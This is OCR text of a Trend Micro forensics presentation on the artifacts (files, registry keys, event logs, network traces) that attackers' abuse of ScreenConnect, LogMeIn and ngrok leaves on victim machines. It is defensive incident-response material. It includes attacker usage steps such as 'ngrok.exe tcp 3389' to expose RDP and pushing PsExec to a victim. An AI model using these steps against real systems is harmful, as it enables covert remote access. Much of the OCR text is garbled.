5} e — Build an installer to deploy to remote machines and permanently install the | EI
Support Build + access agent. After installation, the agent will appear in the Access section. @
as = Label your machines using the following fields, and pick your installer type: :I WlndUWS ('ele) h
Meeting Al cumparw Name: Use Machine Name v ® Wind ( )
.
NA . INAoOwWs |.exe,
C Company; Installer type
TMCompanyName : Site —N Windows ( msi]
u
» All Machines by 0S 0 Department
. B==========» Mac OS X (.pkg)
Admin Outdated Clients u Device Type: =
TEYTRTRETY L 4
Host Connected oo I Windows (exe] || snsgannnun® Debian Linux (.deb)
Guest Connected B -
Recently Accessed Select an option to share your installer: = Red H at |_II"1 X ( rpm]
=]
offline SENDLINKT  COPYURL— J| DOWNLOAD o Mac/Linux (.sh)
(4
0]

Installer Download

45 | Copyright © 2023 Trend Micro Incorporated. All rights reserved.



ConnectWise : Artifacts

Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

%ProgramFiles(x86)%¥ScreenConnect Client (<random>)¥*

[ Service Mg | System.evtx (EventID: 7045) |

HKLM¥System¥CurrentControlSet¥Services¥ScreenConnect Client (<random>)
* DisplayName: ScreenConnect Client (<random>)
* ImagePath: "%ProgramFiles(x86)¥ScreenConnect Client
(<random>)¥ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-<Instance |ID>-
relay.screenconnect.com&p=443&s=<GUID>&k=<key>&v=<val>&c=<Company>&c=<Site>&c=<Depar

tment>&c=<DeviceType>&c=&c=&c=&c="
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ConnectWise : Artifacts

Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

Application.evtx (Event ID: 1033, 11707)

& ARV T0/(F1 - AR Uk 1033, Msilnstaller

X 8 ARk T0IF1 - AR8Uk 11707, Msilnstaller

EX EX

) == Installation completed successfully.

Product: ScreenCaonnect Glient (

iindowes A oA k=3 (2SN B A - ILENF L, BiimE ScreenConnect Glisnt
( 0, $on) i —Tans 220105898370, Bon@EEE: 1033, BHE: ScreenConnect

Software, 22 b= WOBRTAFREE TS -0 0

DX OBETM): Application DX OBETM): fpplication

W=20Sk Mzilhstaller o OHMB D) 2023501511 16:56:19 I hd W=20Sk Mzilhstaller o OHMB D) 2023501511 16:56:19 I
R DIER 1033 [SYS—TY R DIER 1707 [SYS—TY

LAIML 5% RO-BKE b5 LAIML 5% RO-BKE b5

1) _ PR (R 24U _ PR (R

AT RO} o 47— O} o

PRI Ak nienng 1.  Date/Time of agent installation ~ f~t%2242
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ConnectWise : Artifacts

Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

%ProgramFiles(x86)%¥ScreenConnect Client (<random>)¥ScreenConnect.ClientService.exe
%ProgramFiles(x86)%¥ScreenConnect Client (<random>)¥ScreenConnect.WindowsClient.exe

* screenconnect.com: 443

. . Processes Services MNetwork  Disk
Processes  Services Metwork Disk
MName Local address Local... Remote address Rem... Prot.. State
Mame [] ScreenConnect.ClientService.exe (8072) 50485 443 TCP Established
L= IS Ty PR PR Y MR IaA WEC R rarFan 44T an R e a4 TOO [ I L S
~ 15 ScreenConnect.ClientService.exe i - -
v Domain Name System (response)
[85] ScreenConnect. WindowsClient.exe Transaction ID: @xcilfa
IE] S e £ Wind sClient ~ Queries
DEzlrbalill=ssho e s =i s2E instance—nveosa—relay.screenconnectlcom: type A, glass TN
v ANSWers -

. =

instance-nveosa-rklay.screenconnect.com: type CNAME, class IN, cname server-nix

v server-nixgeae26e]-relay.screenconnect.com: type A, class N, addr 145.48.1€9.8
Name: server-nfixoeae26ef-relay.screenconnect.com

Type: A (Host Address) (1) .

Class: IN (oxedel) .

Time to live: feee (16 minutes, 48 seconds) .

Data lepgibig E

.

Addressf 145.40.189.8 EEEEEEEEEEEEEEEEEEER

Authoritative nameservers
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ConnectWise : Artifacts
Control the victim machine as if accessing via Remote Desktop

& 2 B -+ Client2
[}, Search All Machines by Compa | @ @

® -

Cloud A Guest-_ @ +/ Your machine has connected E
2l :
= :
i

Target monitor screen appears

[e on the console and able to control
LIS LT R (I TED LrT e *Copy-Paste b/w hosts-client is available
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ConnectWise : Artifacts

Feature: Remote Access

Control the victim machine as if accessing via Remote Desktop

Useful Artifacts Files

Registry

Others

Process/NW

EventlLog
Application.evtx (Event ID: 0, Source: ScreenConnect)

&l 1/5v+70){F1 - 18V 0, ScreenConnect

S

&l 1/5v+70){F1 - 18V 0, ScreenConnect

S

lICloud Account Administrator Gonnected |

“erzion: 22 9105898370
Executable Path: C:¥Program Files (x86)¥5ScreenConnect Client (e5461c740c

¥5creenConnect ClientSeryice exe

Cloud Account Administrator Disconnected |

“erzion: 22 9105898370
Executable Path: C:¥Program Files (x86)¥5ScreenConnect Client (e5461c740c

¥5creenConnect ClientSeryice exe

04 EmI M Application
w=Ash ScreenConnect oXqB o
A #% b IDEES: 0 BA8DHRTIICY:

04 EmI M Application
w=Ash ScreenConnect oXqB o
A #% b IDEES: 0 BA8DHRTIICY:
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ConnectWise : Artifacts

ature: File T er Transfer specific files between client(victim) and server(attacker)

- ConnectWise Control
File Transfer

Send Files

a

Send Files...

Send Files...

sl ConnectWise Control - Send Files

LN <« Documents » ConnectWiseC

ZE - FLLWIANS~

D48 S E

@ Receive Files

[+]

Send Folder...

Send Folder...

Please select the folder to send:

Receive Files...

|5 Document ™ [] £3 -

Connect! [ PsExectd.exe . FATbT

Files a Administrator

Toclbor v O pC
&) My Musi - E AFuzor
ar MyPictu v || Documents

e @ v CennectWiseControl
Files

& ¢ B P O

@ Manage Receive Folder

I~ -

Open Folder Change Folder

o ConnectWise Control - Send Files
1+ « john » F¥FaAvk » ConnectWiseControl » Files

ZE - FLLWIANLS -
& FEaduk ~ 2R
Connect!
Files
data.z
Toolbo:
Fiddlerz v

Receive Folder...

TrAILE(N): | data.zip
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{resnnnnnnsn

JAG-0EE

Please select the folder to send:

i 720k 7
@ Onelrive
& john
~ M pC
B 30 ATIIOH
¥ ovo-f
W FR7hT
v [E FFaavk
v ConnectWiseControl

Files




ConnectWise : Artifacts

Feature: File Transfer Transfer specific files between client(victim) and server(attacker)

Useful Artifacts Files Registry Process/NW Others

EventlLog
Application.evtx (Event ID: 0, Source: ScreenConnect)

& A7k 00T - £ XY F 0, ScreenConnect Y

S

Trarsferred files with action 'Transfer'
PzExecht exe

/’ "y = _ /’ " . .
@ (R"YFT0/(F1 - 1757 b 0, ScreenConnect The event logs are recorded each times files are

sent from attacker to victim.

£ T L
The reverse transmission is not recorded.
Transterred files with action "Transfer: A
Files

Filez/PsExechd gxe
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ConnectWise : Artifacts
Run specific commands on victim machine

All Sessions & 2 T e+ Client1
O -Q Search All Sessions EI
] Client1 ®
® Cloud Account Administrator 01707 18:49:03
] Client2 '2' == - « whoami
=

No commands sent yet

Run commands on #he remote systems GUES"_ |:| -I .l'lll]? I E . 43 . DE m

Results from the corfmands are viewable
CoxW NOOWS ¥t emddwhoami
I nt author it'§.'¥5's.'5tem!

on eachssession
Command is executed by
s End NT AUTHORITY¥SYSTEM

b
(4

j User Run Command
o > dhoan. Run Command

£ | &

Select target and execute
specific commands
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ConnectWise : Artifacts

LR N ] [ EL < Bl Run specific commands on victim machine

Useful Artifacts Files Registry Process/NW Others

EventlLog
Application.evtx (Event ID: 0, Source: ScreenConnect)
Security.evtx (Event ID: 4688)

> whoam i
o = o N )
- & ARYET0NT - 475k 4688, Security-Auditing Security.evtx
: EZ AN
- @ AN TOITA - 44200, ScreenConnect Appli .
. - ication.evtx
. PP L O AN ERENE L.
s B EER
. PO
E___,IJE " e — Lyt 2 10 07 lic.
= comman:;:ueng\. HLOTOEAE  C¥Windows¥System3nhoamiexe |
Wersion: =l xR A%TY30
'] Only the length of the command is recorded. FERIAL Mandatory Label¥System Mandatory Lew
Executal Fd0c = ;
¥3 G t ClientSeryi FERLF O 10 D384
FrEEIATnECl BT Ice £xe FERSLFOT 2SS C¥Windows¥SystemiZ¥omd exe
FOTADTITE 540 whaami
04Dt fpplication B =EET 1 TEUTr
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ConnectWise : Artifacts

Feature: Information Gatherin Gather information from the managed computer

* Process, service, software, and event logs can be manipulated

@ El Processes Updated Om ago Refresh = Event Log LHEEITEDY BEE Ci
@ D Process Name @ Time Written Entry Type  Source Event ID Message
1 2023/01/07  ycormation  ScreenGonnect 0 Exeutedicon)
Kill 1908 Memory Compression ®© A C:\Usershjonn
i}k Processes
® AL Information ScreenConnect 0 Erectedico]
E Kill 8012 explorer |-VE-| 17:15:53 C:\Users\john
= 2023/01/07 . Executed com
| 0| Soﬁware = Kill 1856 ScreenConnect WindowsClient 1715222 Information  ScreenConnect 0 C:\Users\john|
- 9@ Software Updated Om ago  Refresh % Services Updated Om a
=] Event Lo
g @ Name Ven{ G) Name
¢ ® 7-Zip 21.07 (x64) Igor ® Stop Start Restart DcomlLaunch
2 Services . _ -
Uninstall  Microsoft Update Health Tools Coen E Stop Start Restart dcsvc
,{D _ Microsoﬂl 1.  List and kill processes Dosve
Redistibd 5 List and uninstall application _ o
DeviceAssociationService
r— % AA £3)

3.  Review a list of event logs
4, List, stop, start, and restart services
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ConnectWise : Artifacts

Feature: Information Gatherin Gather information from the managed computer

Useful Artifacts Files Registry Process/NW Others

% SystemRoot% ¥TEMP¥ScreenConnect¥<Version>¥*.ps1 (Temporary file)

Windows PowerShell.evtx (Event ID: 600,400,403)
Microsoft-Windows-PowerShell/Operational.evtx (Event ID: 4104)

& ARUEF0I(F1 - 4152 600, PowerShell (PowerShell) 8 18R TONF1 - 4757 4104, PowerShell (Microsoft-Windows-PowerShell)

EX L ELEAE

HostWersion=h1.190412364 - =
i Scripthlock 742 MEFERRLTOET O (@R 1 {ER >
Hostld=49485310-2e 30-4670-ab%9c-fb62 7294347 echo " DIAGNOSTIC-RESPONSE S

Hnstﬁpplication=WindowsinershelI¥v1.D¥|:u:|ofile ~Morlnteractive - F_iorkineSetfd 102400 WS | Sort —Descending WS | Select 'IDV, 'Process Mame', "Memary
ExecutionPolicy Unrestricted ~File GHWINDOWSSTEMF 22.9.10630 8370 ‘Memory (KB)' | GonvertTo-Xml ~As Stream
E2T0f3147-acBb-4e 1a-a968-d7db 773027 8run ps 1

EngineVersion=

ScriptBlock, ID: caBbi069-hAdc-4f64-884 4-a67f16bbddcd
Runzpaceld=

A GEWINDOWS¥ TEMP ScreenOunnectFEE.Q.I0589.83?D¥Qeda8925-a?19-4025-hd[lb-
efdebd Balbefarung

Only ConnectWise-related PowerShell execution
can be confirmed, but detail is not logged
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If script block logging is enabled,
specific process will be listed



ConnectWise : Artifacts

Feature: Information Gatherin Gather information from the managed computer

Useful Artifacts Files Registry Process/NW Others

Application.evtx (Event ID: 0. Source: ScreenConnect)

& ARYRT0J(F1 - A1RF 0, ScreenConnect
S Length Script

|Exeu:uteu:| command of lengtty G57 657 List running processes
|Executed command of lengthf 861 861 List installed software
|Executed command of lengthy 492 492 Get recent events
|Executed command of lengthy 460 460 List services
|Executed command of lenetr} 293 293,295,297...  Kill process (Depends on PID)
|Executed command of lenetty 255 255,257,259...  Stop service (Depends on service name)
|Executed command of lengthy 340 340 Uninstall software (Application.evtx Event ID 1034, 11724)
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Tools Verification - LogMeln

LAPSUSS

Relay Direct

LogMe

Be Limitless.

Install Portable

Heht
& M=ro 9 AnyDesk ;\’ splashtop TeamViewer @

gRemoteUtiIities® mmCONNECTWISE' LogMe® @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools
C.) RCLONE €)MEGATOOLS E‘ﬂl‘.iﬁfr ) GoodSync E? Eﬁlezma
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[ ]
LogMeln: Artifacts
Install LogMeln agent program on the victim machine

* An agent msiinstaller will be obtained from attacker’s LogMeln tenant.

* An agent(victim) machine will be appeared on mgmt. console after installation.
A credential of victim machine is required to log in and to use LogMeln features.

oo TS, s o

EHLELZ -
N ROI—FELTOTA
= e e = .
@ ornothscoasEa—SEERLELE. UANER AR IXEITEOFAFERTR
@ sk s N R All the features will be
- . . N vE- e . .
D 77 - Windows user credential o U Copoova somcz-vof, @Vailable after log in
EEEE=
2 1% . . e . —
is explicitly required =] ZrrveER i o -
© LogMein Antivirus G Web FSTHERBLT. EBRTFMUADGTFOLR, B, /v HTyTERSLFIET.
al Lii—b . = ALSTrEM24 J— FEANLTL & u EYDFER (R—HhR)
@ Lf—hEa-7 S FRERLY] UT— I PCESHOERERLTA AMU-SUTT.
- - : 1Y% et snmmmns F27 kTS
- . SRI—F % @ S EECSSOOUEI-SEREED. SMIEHBIENTRET.
. 0 BEEEERETS
Agent(victim) machin . g po, Z7LnE
gent(victim) machine EYTTERTTY 3 = | o ETA- N TEETERVELARAT T LTS, MECHRTEET.
1—H—2#BOUBI )
_ N KR b 32Ea— 50— K- RETTRBRERRASNTOET. (“:‘)f?g\n? =E
® FTUr-—a>ORt W sso--AcenwTssnerze.ET.
BWoJ(>Bla—HeFry MBS, o ~) l/j
LogMeln ZR2ICHAT 3EQICBERTATOUY—RTT.
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LogMeln: Artifacts

Installation Install LogMeln agent program on the victim machine

Useful Artifacts Files Registry Process/NW Others

%ProgramFiles(x86)%¥LogMeln¥*
%LocalAppData%¥LogMeln¥*
%ProgramData%¥LogMeln¥*

Log File
%ProgramData%¥LogMeln¥LogMeln.log (file name will changed to “LMIlyyyymmdd.log” after rotation)

- 11 = In SuC 3 ogMeInAVServer

1. Date/Time of agent installation and username
2. Date/Time of login, IP address of remote terminal(attacker), username used for log in
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LogMeln: Artifacts

Installation Install LogMeln agent program on the victim machine

Useful Artifacts Files Registry Process/NW Others
@I » ( system.evix (EventiD: 7045) )

HKLM¥System¥CurrentControlSet¥Services¥LMIGuardianSvc

* ImagePath: “%ProgramFiles(x86)%¥LogMeln¥x64¥LMIGuardianSvc.exe”
HKLM¥System¥CurrentControlSet¥Services¥LMlInfo

* ImagePath: “%windir%¥system32¥drivers¥LMIlInfo.sys”
HKLM¥System¥CurrentControlSet¥Services¥LMIMaint

* ImagePath: “%ProgramFiles(x86)%¥LogMeln¥x64¥RaMaint.exe”
HKLM¥System¥CurrentControlSet¥Services¥LMIRfsDriver

* ImagePath: “%windir%¥system32¥drivers¥LMIRfsDriver.sys”
HKLM¥System¥CurrentControlSet¥Services¥LogMeln

* ImagePath: “%ProgramFiles(x86)%¥LogMeln¥x64¥LogMeln.exe”

HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
* LogMeln GUI: " %ProgramFiles(x86)%¥LogMeln¥x64¥LogMelnSystray.exe”
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LogMeln: Artifacts

Installation

Useful Artifacts

Install LogMeln agent program on the victim machine

Files Registry Process/NW Others

%ProgramFiles(x86)%¥LogMeln¥x64¥*.exe *_logmein.com: 443

xlwle — 1;;2 CPU O.. Privateby. Userna. Descl\'r‘lip]tion Fw rule for LogMeln; Llnk

— Processes persists [°¢"
D LogMelnSystray.axe 2628 ogMeln Control Panel Domain Description
[#] ramaint.exe 3 12824 on victim ogMeln Maintenance Service
@ LogMelnRC.exe n 6072 TEENE CogMeln Remote Control Application *logmein.com Main site
Name - Remote address Rem... |P/P0rt that the *logmeinCentral.com Powers the Central service

M

0 LDgMEIn'EKE?:1 3100) process access to . . . Powers account-specific features (not required on normal
D LogMeln.exes13100) 127.0.0.1 52479 logmein-enterprise.com SeEE )

L
=] LogMeln.exe{d3Mam nnnnnn > 156.120.20.111

443 TCP IEstabhsh LegMeln

Common Login Service allowing login to LogMeln.com, and

D LogMelnSystray.exe (2628) 127.0.0.1 2002 TCP Establish... “logme.in join.me
v
= 0
LE i [ S (r'esponse) u *hamachi.cc Powers the Hamachi service
v Answers .
control.lmi- app22 02 logmem com: type CNAME, class' IN, cname lmi-app22-02.logmein.com *internapcdn.net Powers updates to multiple GoTo products
v 1lmi. = ass IN, addr 156 120.20.111
L n *logmeinl23.com Site to connect to a technician
. .
-
. Class: IN (@x@001) = *123Central.com Site to connect to a Central technician
M
. Time to live: 2714 .
u $h A : *support.me Site to connect to a Central technician
. I.ma.hﬂ
. . u
o ® = YAddress:i158.120:20.111 I‘" semmRmes *join.me Conferencing and screen sharing service by GoTo
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https://support.logmeininc.com/central/help/what-does-error-10054-mean

LogMeln: Artifacts

Installation Install LogMeln agent program on the victim machine

Useful Artifacts Files Registry Process/NW Others

EventlLog

Application.evtx (Event ID: 102, 105, 1033, 11707)

A A2k 102, LogMeln x A2k 11707, Meilnstaller x
E =] S
User ¥uzer0l has successfully logeed on from IP address 180, Secure (S5L) Connection: Yes I - -
Product: LogMeln Client —- Installation campleted successfully.

DA OBETM) Application
Y=2(S) Msilnstaller Q OSOBFHD):  2022/12/11 (:06:27 |
O CERRT M #fpplication AR+ ID(E: 1707 BAHOhF N BL
Y=2(5) LogMel QDD'(DEIM(D) I LZOLLL 1558 ¥-O0-RK:  b3uvd
AR DLE) 102 BRDORTIIN General 1. P address of attacker machine 2 Sl
Ll EER F—T]— R Huwh .
24— SYSTEM T 1-H-(R 2.  Date/Time of logon
Fa - FO) . .
AR R 3. Date/Time of Installation
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LogMeln: Artifacts

Control the victim machine as if accessing via Remote Desktop

- -UE-balE - o X

BEHLUELT -
Eveas 0 iE ROA-HELTOIA> wsero
iy ll T RAb 33 EaS0F M- RETIARRESRENTLET. 2

IrANER
UE— i
FBTZOAYL—FOAICES TWBADLSICUE— b 3!
—
J7AILER H

Target monitor screen appears
on the console and able to control

Web FSTHEFERUT. EELTMULADOTIER. B /Iy IFyTERECAVET.

EZIDER (N—F,
UE—hPCEZSDETSRL

L]
AWMU HTT.

v % ) i .
sy Tas Copy-Paste b/w hosts-client is available
EA*?EJH:ZE?}GJJDEJ*GE%EO‘ BET BN TEET.

I LEE . ot et et -

6. 1n1-app22-02. logne..
bt ni-app22-02. 1.
Ld37619036. 1 -app22.

EFA-ATEETEAV R A I E e R AT s s s nnnnn N ’

EE bog1-d037619036. Ini-a-.
feom 0P

ESO-—AcAnETERRETZALET. Biaiin: con S\ et
fein.com

~LF feio. con

12-02.10gmein.con CHA.
82.\nemein.con CHA
2oc19}, id ® -

LogMeln ZE2ICHIRT BHICEBRTATOUY—RTT.

Bcked by C:HUsersVuserd WDesktop Wioriben-masteriNriben, 07
User Datagram Protocol, Src Port: 49731, Dst Port: 53

=

@B 23 £ 62a51b 0B 50 S69IA b G GO 4500 & - PV E -
80 52 24 40 00 00 80 11 cd ad c@ a8 6 5 08 €3 R-@ n
8 03 c2 43 00 35 60 3= 16 86 b1 68 @1 00 9 61 €55 b
0 00 00 00 00 01 05 65 31 38 36 34 04 64 73 63 o 1864.dsc

@ 7 Emerett dine captire i pr [r9HE 01 - R 167 (080 F77k Detaut

O EET5-MEE () EES4L: TLS_AES_256 GCM_SHA384
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LogMeln: Artifacts

EENITCH ] (o) (=N o)1 1dg ]l Control the victim machine as if accessing via Remote Desktop

Useful Artifacts Files Registry Process/NW Others
Log File

%ProgramData%¥LogMeln¥LogMeln.log (file name will changed to “LMIlyyyymmdd.log” after rotation)

-1 Info - eIn - NT AUTHORITY - - - RC - Init ull)
11 Info = - NT AUTHORITY TEP = ntr = creen diffpicker

Date/Time of remote control set up
2. Date/Time of remote control terminated with connection detail

HKLM¥SOFTWARE¥LogMeln¥V5¥FeatureHistory¥remotecontrol

1€ 21-5-¥HKEY_LOCAL_MACHINE¥SOFTWARE¥LogMeln¥V5¥FeatureHistory

7-Zip Al & &d 75
. ) (%) REG_SZ (@OBELL)
DefaultUserEnvironment £8|dragndrop REG_DWORD o000 (9
St Rbcisr __ fewom___ cumononeta
78| filetransfer 2 (2

i Bremotsconal | REG.DWORD 000000063 (7] 3. Number of remote control attempts
v BV #o| remoteprinting REG_DWORD 0x00000000 (0)
Appearance | remotesound REG_DWORD 0x00000000 (0)
Autolindate
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LogMeln: Artifacts

EENITCH ] (o) (=N o)1 1dg ]l Control the victim machine as if accessing via Remote Desktop

Useful Artifacts Files Registry Process/NW Others

EventlLog

Application.evtx (Event ID: 202, 205)
A#42k 202, LogMeln ¥ Ak 205 LogMelh x
EX T EXLINE ]
?Remote Control gession started for user [¥uzerll from IP address 180 The interactive user (if Uzer WIN10-RES-YM5G 1¥uzer0] from IP address 80 ended a Remaote Control session I
present) has not been asked for a confirmation.

OH MRETM): Application O MAETM): Application

U=A(E) LogMeln OHOEFD: 202241211 13702 | Y=2(S) LogMeln QD»D‘UJE 1D} 202271211 03746 |
A% IDEEY 202 BALMHTIICYE Remate Gontral A b IDEE: 205 BALIHTIICY) Remote Control
LALELY &R ==K e} . #=1— (K} haiwh

ERN ST TP B—(R 1.  IP address of attacker machine A

Aa-Hior , Date/Time of Remote Control started

SERBTEER(D: Aot gHOagL T

IP address of attacker machine
Date/Time of Remote Control ended

2.
3.
4
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LogMeln: Artifacts

Feature: File Transfer Transfer specific files between client(victim) and server(attacker)

BEHLUELT - = - File Manager - [a] X
ROA-HELTOHA wser01

AR AV E1—SOF—H— FETIREBREFRENTVET. 1-FEFry MERETS » Z0IVEI-5 - W2016-C1-YMSG1 YE-h - WINT0-XES-YMSG1
J7ALER S = o
e O -> O a ] O & O a ]
—50%ET [ UE— R FLWIANS 25 aE- ENZE Al FLWIANS 25 - EZWEE alpe
Z2 s & LiZAD IS EE_ b gt 7@?&'% =y == l_[ C:¥Users¥Administrator v| = & |0 G¥userstuser0l
ITrAIER &8 i 44X BEEH £ h $4X BESH
Web ISTHEERLT. EBLT7ALADTHER. B2 /Iy STy TERSEAVET. 851 Cont 2022/06/29 9:56:18 (22 3D Objects 2019/09/18 22:32:47
— — () Desktop 2022/06/29 9:56:18 (1 Contacts 2019/09/18 22:32:47
‘-E*f'@%’z (;_ggrﬁ; ;‘ - 1 Documents 2022/11/29 11:08:54 () Desktop
YETPPOESSRERERETA U= I 1 Downloads 2022/12/1019:5507 || (1 Documents

FRI Y THE . CFavorites 2022/06/29 2:56:18 ) Downloads 2022/12/10 16:28:17
EAPBECES0I E - SERERD. HETEEI LA TEET. (I Links 2022/06/29 9:56:18 () Favorites 2019/09/18 22:32:47
.

CIMusic 2022/06/29 9:56:18 CLinks 2019/09/18 22:32:47
j?/‘/“/;j\:ﬁ . ;IPC! res 2022/06/29 9:56:18 ;IM Sic 2019/09/18 22:32:47
s N 20220057298 o Mo 9
EFANTEETEINEERSAT AN TE MR - (1 Saved Games 2022/06/29 9:56:18 (1 OneDrive 2019/09/19 807:26
Eﬁﬁ [ Searches 2022/06/29 2:56:18 O Pictures 2019/09/18 22:34:09
B X B TR R T (2 Videos 2022/06/29 9:56:18 () Saved Games 2019/09/18 22:32:47
() Searches 2019/09/18 22:34:03

~ILT £ Videos 2019/09/18 22:32:47
LogMeln ZE2ICHIRT BHICEBRTATOUY—RTT. _%

File transfer between client and server
will be available
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[ ]
LogMeln: Artifacts
Transfer specific files between client(victim) and server(attacker)

Files Registry Process/NW Others

Log File

%ProgramData%¥LogMeln¥LogMeln.log (file name will changed to “LMIlyyyymmdd.log” after rotation)

Transfer]

1. Date/Time of file transfer from attacker to victim, with fullpath
2. Date/Time of file transfer from victim to attacker, with fullpath
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LogMeln: Artifacts

Share specific files on the victim via email or download link

JrEa-n = %
WD i
ENBIE) }
TR0
TP bigfile txt
18P C ¥Users¥userOl ¥Downloads
= 7 4 3 2 Q TrAEwE x
W 0 o PR REATE bigfe tet
T Fxadk T —— - A BT . .
Sa- ki FOPERRS) 1 B G o) 740 ;ﬁ&mﬂ. SRS I N ERTOT ﬁmmﬁ;ﬁ
HIB# (D) . . -
PAOEEMW ) a-VEEE FOAENHWNE 2 © (B v ORFA-IEEELTES)
— B35 40F FD () COROATyITERTIEBERTORTA - Logheln (LE-TEMEN. Z(E
Z0K7+ R - ) FArFHBINERETIZ TORBIMEIRFLAT. =hav.
L DVWD-RW F547 (@) 2 . [P
) ' - BATHELETS
S0~k ORI 10| EwEsvo-k 0 RIS A= DI P TRATESREBYVIN LogMeln (L TIFRLENS T, © rinEn x
= TN FTESEMERELS Y.
. .
= HOU =k Uk B TFA-NTRET S EMFCELLE.
.
L]
LT L LT LIFQUubED B, IPAETIEL -BpSHA0 - TEEY,
Download link of the L
[Fs ] [

. . AED I - CE -
target file is generated

BT HHATATIRUL A - R

fesssssnsmnnnnnnnnP

<EB Fotl
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LogMeln: Artifacts

Feature: File Share Share specific files on the victim via email or download link

Useful Artifacts Files Registry Process/NW Others

Log File
%ProgramData%¥LogMeln¥LogMeln.log (file name will changed to “LMIlyyyymmdd.log” after rotation)

2022-12-11 ©0:32:13.840 - Info - LogMeIn - NT AUTHORITY\SYSTEM - 909904 - 9x000082A90@ - WebSvc FileShare - Requesting file sharing ticket for file
"C:\Users\user@l\Downloads\createdbyattacker.txt".
1;62:—12-11 00:32:13.643 - Info - LogMeIn - NT AUTHORITY\SYSTEM - 999904 - Ox00002A90 - WebSvc FileShare - Received file sharing ticket for file
"C:\Users\user@l\Downloads\createdbyattacker.txt".
2022-12-11 ©0:32:28.888 - Info - LogMeln - | AUTHORITY\SYSTEM - ©9904 Ox00002A90 - WebSvc FileShare - Updating file sharing ticket for file
"C:\Users\user@l\Downloads\createdbyattacker.t v
- LogMeIn - NT AUTHORITY\SY M - 99904 - Ox0000B2A90 - WebSvc FileShare - Updated file sharing ticket.

HKLM¥SOFTWARE¥LogMeln¥V5¥WebSvc¥Shared¥<random>

V€ 2-5-¥HKEY_LOCAL_MACHINE¥SOFTWARE¥LogMeln¥VS¥WebSvc ¥Shared¥CCSF23EASSCCI826

v FeatureHistory Al &m T F-5
ReUsagePending || iz - p——
Sui £ DownloadsMax REG_DWORD 0+00000003 (10)
InstallParams S ———— e S
3 ab) DownloadUrl REG SZ hitps://secure.logmein.com/f201_KAKK8Ae67Z8JIBEOfqpxqEG31.-gldfaNsia.IL |
LogMelnA\/ e ExpiresAt REG_QWORD Ox1d90eee341d4f9 (133153327247643897)
chnmu ab) FileDescription REG_SZ createdbyattacker.txt
v i Net RFieDuabled REGONORD | oxpooon0(d 1. Date/Time when share link is created with fullpath of target file
NATUDP ab)FileName REG_SZ W ¥ K
PatchMgmt 9 FileSize REG_QWORD 0x00000033 (1) H
PerBrowser 4] LastReported REG_QWORD Ox1d90cacSccficab (133151599488875691) 2 Down Ioa d I in k
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Tools Verification - ngrok

BlackCat, Daixin
Somnia
Relay Direct

Install Portable

gkt
& M=ro 9 AnyDesk ;\' splashtop TeamViewer @

gRemoteUtiIities® m"CONNECTWISE' LogMe@ @SupRemo I‘Igl’Ok

Be Limitless.

Target SYNC tools
C.) RCLONE €)MEGATOOLS Eﬁ!’;‘.iﬁﬁ ) GoodSync E? Eﬁ-ezma
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ngrok : Artifacts
Configure ngrok on victim machine for remote control

e An authtoken is issued when an account is created.
|

liil
=]
=
bl

&  Getting Started

Se stallation
Your Authtoken Yo u r Au th to ke n

@ Cloud Edge e - q
i) ClondlEle This is your personal Authtoken. Use this to authenticate the ngrok agent

5 Tunnels that you downloaded.
2IFRKchEzKJP W Copy

7

An authtoken is issued for each account.

Command Line

Authenticate your ngrok agent. You only have to do this once. The Authtoken is saved in the default

configuration file.
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ngrok : Artifacts
Configure ngrok on victim machine for remote control

Command
ngrok.exe authtoken <Authtoken>

o+ e

grok . yml

Useful Artifacts Files Registry Process/NW Others

Config

%LOCALAPPDATA%¥ngrok¥ngrok.yml

nerak yml [x] _
ngrok.yml
n 2 n g y

version:

authtoken: 2IFRKchEzK3P I

Authtoken is stored in a Yml file
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ngrok : Artifacts

Feature: Configuration Configure ngrok on victim machine for remote control

Useful Artifacts Files Registry Process/NW Others

EventlLog
Security.evtx (Event ID: 4688)

& ARk F0J(F1 - 4/ 4688, Security-Auditing *
ELEAE S
RO ERREN 2 L. ~
oA
HLOIOER D 01298

LT OEAE  C¥tools¥nerok exe

b= BAB AR LR 4% 1937

SEESA Mandatory Labe®High Mandatory Level
FERRTOTEA I Ox2b74

] . h-wlr . 4 La] :N .|
I;‘?Dtmj?w 54  narok authtoken 2IFRKeh |
I

O DEETM): T
AR Security-fuditing O8MBATD):  2023/01/10 15:50:25
A A2 b IDCEY: 4688 R2AATHFTAYY Process Creation
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ngrok : Artifacts

Feature: Remote Access Control the victim machine as if accessing via Remote Desktop

Command

ngrok.exe tcp 3389

Bl C¥Windows¥System32¥cmd.exe - ngrok.exe tcp 3380 - O X
(Ctri+C to auit)

Ngrok Web console

g ngrok agents. You can stop, restart, or update agents from this page.

After connecting, the client (victim) machine appears on the web console Agent
P . Tunnels Online Started
SSH Public Keys Version

Ingress

{ Events
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ngrok : Artifacts

Feature: Remote Access Control the victim machine as if accessing via Remote Desktop

Useful Artifacts Files Registry Process/NW Others

EventlLog
Security.evtx (Event ID: 4688)

] AR TFOF1 - 4Rk 4688, Security-Auditing *

ELEAE T

LT DA ERRENE L, ~

FOTAEER
LOER I 03258
LT OEAE  C¥tools¥nerok exe
b —A BAEDIEEE M 1037 ¥
SEESA Mandatory Labe®High Mandatory Level
FERST I OTA I Ox2b74

Exe
I FOTADTTE 240 nerok top 3389 i

b L B TARAEIT 0 ToRrT 2 R TRR A DRI A TR R T

DA M} 10T

V—=2A(3) Security-fuditing OH @B (D) 023/01410 155628
A Wb IDEEY: 4648 A2A0HTIAVYYE Process Greation
LrLELY: &R ==K REIhmERE
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ngrok : Artifacts

Feature: Remote Access Control the victim machine as if accessing via Remote Desktop

Useful Artifacts Files Registry Process/NW Others

Processes Services MNetwork  Digk

Fay
Mame Local address Local... Remote address Re.. Pr.. State Crwner
ngrok.exe [12068) 127.0.0.1 4040 TCP  Listen
ngrok.exe [12068) 192,168, 110,15 Se094 1817724543 443 TCP IEﬂab“shEd
- ————le ——e = FATRASO AT AT AT AT Lol ala Vot o M T Aglam T LT R aial | ST W D B |

Domain Mame System (response)
Transaction ID: @x2ea7
Flags: ©x8188 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: 4
Additional RRs: @
Queries
¥ Answers

vItunnel.ngrok.com: type A, class IN, addr|18.177.245.43

